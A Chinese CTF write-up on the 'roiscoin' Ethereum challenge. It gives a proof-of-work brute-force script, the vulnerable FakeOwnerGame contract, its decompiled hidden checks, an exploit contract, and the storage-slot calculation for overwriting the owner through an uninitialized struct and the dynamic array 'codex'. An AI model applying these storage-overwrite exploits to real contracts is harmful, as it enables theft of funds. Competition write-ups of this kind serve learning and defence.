目录
web
占坑,等 wp 复现下,这次比赛之后我发现我根本不会 web,哭哭。
roiscoin
这题挺巧妙的,大概思路是要先解锁 codex 那个可变数组,用可变数组任意变量覆盖,从而把 owner 变成自己的地址。这个题不仅用发外部地址的方法解决了抄作业的问题,在合约代码的编写上还参考了一些经典蜜罐 23333,可以感受到出题人用心了。
首先 nc 连接上题目,要算爆破一个哈希,但是比较坑的是格式问题,试了一会儿才试出来,脚本:
# py2 from hashlib import sha256 for i in range(10000000): s = str(i) + "13c0fcadf33dc5169f35d53f558d978e".decode("hex") h = sha256(s).hexdigest() if h[-5:] == "00000": print(i, s, h) res = "" for bit in str(i): res = res + "3" + str(bit) print res break
连上去之后先申请个外部地址,用给的 token 再申请个合约,去 etherscan 上可以查看交易进度,等交易完成就得到合约地址了;交互界面还能得到源码,不过和这个源码有坑点,之后会提到:
pragma solidity ^0.4.23; contract FakeOwnerGame { event SendFlag(address _addr); uint randomNumber = 0; uint time = now; mapping (address => uint) public BalanceOf; mapping (address => uint) public WinCount; mapping (address => uint) public FailCount; bytes32[] public codex; address private owner; uint256 settlementBlockNumber; address guesser; uint8 guess; struct FailedLog { uint failtag; uint failtime; uint success_count; address origin; uint fail_count; bytes12 hash; address msgsender; } mapping(address => FailedLog[]) FailedLogs; constructor() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function payforflag() onlyOwner { require(BalanceOf[msg.sender] >= 2000); emit SendFlag(msg.sender); selfdestruct(msg.sender); } function lockInGuess(uint8 n) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = n; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2; if (guess == answer) { WinCount[msg.sender] += 1; BalanceOf[msg.sender] += 1000; } else { FailCount[msg.sender] += 1; } if (WinCount[msg.sender] == 2) { if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) { guesser = 0; WinCount[msg.sender] = 0; FailCount[msg.sender] = 0; msg.sender.transfer(address(this).balance); } else { FailedLog failedlog; failedlog.failtag = 1; failedlog.failtime = now; failedlog.success_count = WinCount[msg.sender]; failedlog.origin = tx.origin; failedlog.fail_count = FailCount[msg.sender]; failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender])); failedlog.msgsender = msg.sender; FailedLogs[msg.sender].push(failedlog); } } } function beOwner() payable { require(address(this).balance > 0); if(msg.value >= address(this).balance){ owner = msg.sender; } } function revise(uint idx, bytes32 tmp) { codex[idx] = tmp; } }
首先还是先看 getflag 的条件,balance > 2000、必须是 owner。owner 似乎好办,beOwner() 似乎就可以提供这样的服务,但是经过一番尝试会发现 if 里面的代码从来没执行过,仔细一想这其实跟之前看过的一个蜜罐很像,因为在给合约打钱之后,合约的余额会立马刷新,我们打过去的钱肯定永远小于等于合约的钱。但是其实可以看到出题人在判断余额的时候用的 >=,也就是说如果我们下发完合约就执行beOwner() 是可以执行成功的(后面跟出题人讨论了下确认是非预期)。
这里先不讨论非预期的做法(假设代码里是 >),稍微看看其他的函数会发现没有能够改变 owner 值的函数,那也就是说我们只能通过 slot 覆盖来改变 owner 的值。那这题目里又有哪些可以覆盖的地方呢?
首先最明显的就是在 settle() 里面定义的结构体,由于没有声明存储位置,结构体默认会存储在 storage 上,从而导致变量覆盖,这里等于是覆盖 slot0 – slot5,但是 owner 在 slot6,所以这只是第一步,我们还需要别的地方打配合。
其次可以看到有个 codex 可变数组,似乎没什么功能,但是我们可以覆盖掉 slot5,slot5 刚好记录了这个可变数组的长度,而覆盖掉 slot5 的高位是交互地址。也就是说我们如果能让账户开头为 0xff,那基本可以覆盖掉任意地址。
于是生成一个 0xff 开头的外部地址(怎么生成请看下文),似乎万事俱备了,接下来就是怎么触发第一个变量覆盖。
第一个变量覆盖的位置在 setter(),调用这个函数需要地址等于 gusser,于是要先调用 lockInGuess() 并给合约打一块钱。这里看看源码就知道其实是个猜数的功能,但是不要被 uint8 迷惑了,猜数的结果是 mod 2 的,也就是结果只有 0 和 1,随便选一个多调用几次就可以满足 WinCount[msg.sender] == 2(刚做的时候脸黑连续七次都是失败,一度怀疑源码),这时第一次变量覆盖被触发,codex 的长度被重写成一个 0xff 开头的数,但是这时当我们调用 revise() 会发现交易成功,但是变量并没有写到链上,这里我本地又搭了个基本一致的环境,却发现跟远程结果不一样。既然相同操作结果不一样,那必然是代码的问题,于是去反编译下合约,找到签名为 0339f300(sha3(“revise(uint, bytes32)”))的函数,发现源码确实不一样:
def unknown0339f300(uint256 _param1, uint256 _param2): # not payable if 97 and caller == 97: if caller != tx.origin: require _param1 < unknown94bd7569.length unknown94bd7569[_param1].field_0 = _param2
这里源码藏了两个条件,一个是 caller 的后两位必须是 97(0x61),还有就是必须通过合约调用。于是我们需要一个外部地址,这个外部地址部署的第一个合约必须以 0xff 开头并以 0x61 结尾。
关于生成合约地址或者外部地址请看 pika 师傅的这篇文章,这里由于我没装上环境,傅总帮忙魔改了下写了个多线程版本(傅总 tql),大概是两分钟出一个。
有了合约把相关操作绑定到攻击合约上,我瞎写了个 exp:
contract exp{ FakeOwnerGame target = FakeOwnerGame(0x089A7b31A3988FaF5286E5dD043379422cCc5AB6); function guess()public payable{ target.lockInGuess.value(1 ether)(1); } function repeat() public{ // 要调用好几次,直到 balance 大于 2000 target.settle(); } function flag() public { target.payforflag(); } function fugai(uint idx, bytes32 tmp) public{ target.revise(idx, tmp); } }
最后覆盖掉 slot6 就可以了,这里 codex 的初始地址是 slot5,所以对应的 storage 上的地址是 sha3(“0000000000000000000000000000000000000000000000000000000000000005”),即 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0,既然我们要复写到 slot6,就可以计算0x10000000000000000000000000000000000000000000000000000000000000006 – 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0,结果等于 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256,所以我们的参数是 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256,合约地址。

踩踩踩,膜膜膜
pikapika!